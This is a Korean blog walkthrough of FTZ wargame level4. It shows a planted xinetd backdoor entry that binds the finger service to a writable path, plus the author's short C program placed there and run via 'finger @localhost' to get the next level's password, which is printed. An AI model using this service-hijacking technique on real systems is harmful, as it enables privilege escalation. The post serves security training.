티스토리 뷰

System/FTZ

[FTZ] level4

MitNy 2017. 9. 8. 12:15


level4 의 hint를 보면


누군가 /etc/xinetd.d/에 백도어를 심어놓았다.!


라고 뜬다.

디렉토리 이동을 하고 파일 목록을 보면 backdoor가 보인다.


backdoor 파일은 read 할 수 있고, 열어보면


[level4@ftz xinetd.d]$ cat backdoor

service finger

{

disable = no

flags = REUSE

socket_type = stream

wait = no

user = level5

server = /home/level4/tmp/backdoor

log_on_failure += USERID

}



이렇게 뜬다.


다른 파일들을 열었을때는 이런식으로 service (읽은 파일명) { ... } 인데

[level4@ftz xinetd.d]$ cat services

# default: off

# description: An internal xinetd service, listing active services.

service services

{

disable = yes

type = INTERNAL UNLISTED

port = 9098

socket_type = stream

protocol = tcp

wait = no

only_from = 127.0.0.1

}



backdoor는 service finger 가 뜬다.


그럼 finger를 보자.

[level4@ftz xinetd.d]$ cat finger

# default: on

# description: The finger server answers finger requests. Finger is \

# a protocol that allows remote users to see information such \

# as login name and last login time for local users.

service finger

{

disable = yes

socket_type = stream

wait = no

user = nobody

server = /usr/sbin/in.fingerd

}




우선, backdoor의 server 부분  /home/level4/tmp/ 로 이동하면 아무 파일도 없다.

그럼 이 디렉토리에 level5의 패스워드를 알려주도록 코드를 짜서 backdoor 로 만들면 어떨까


#include<stdio.h>

#include<stdlib.h>


int main(void) {

        system("my-pass");


        return 0;

}


그냥 backdoor를 실행시켜 버리면 level4의 pw가 뜨므로 소용이 없다.

finger를 이용해야 하는데, finger 명령어는 리눅스에서 사용자의 계정정보를 확인하는 명령어이다.

$finger @host명을 입력하면 해당서버에 접속해 있는 모든 유저의 정보를 출력한다.

 

그래서 $ finger @localhost 를 입력해 finger 서비스를 실행시키면 된다.




Level5 Password is "what is your name?".



'System > FTZ' 카테고리의 다른 글

[FTZ] level6  (0) 2017.09.08
[FTZ] level5  (1) 2017.09.08
[FTZ] level3  (1) 2017.09.06
[FTZ] level2  (0) 2017.09.06
[FTZ] level1  (2) 2017.09.06
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2024/04   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
글 보관함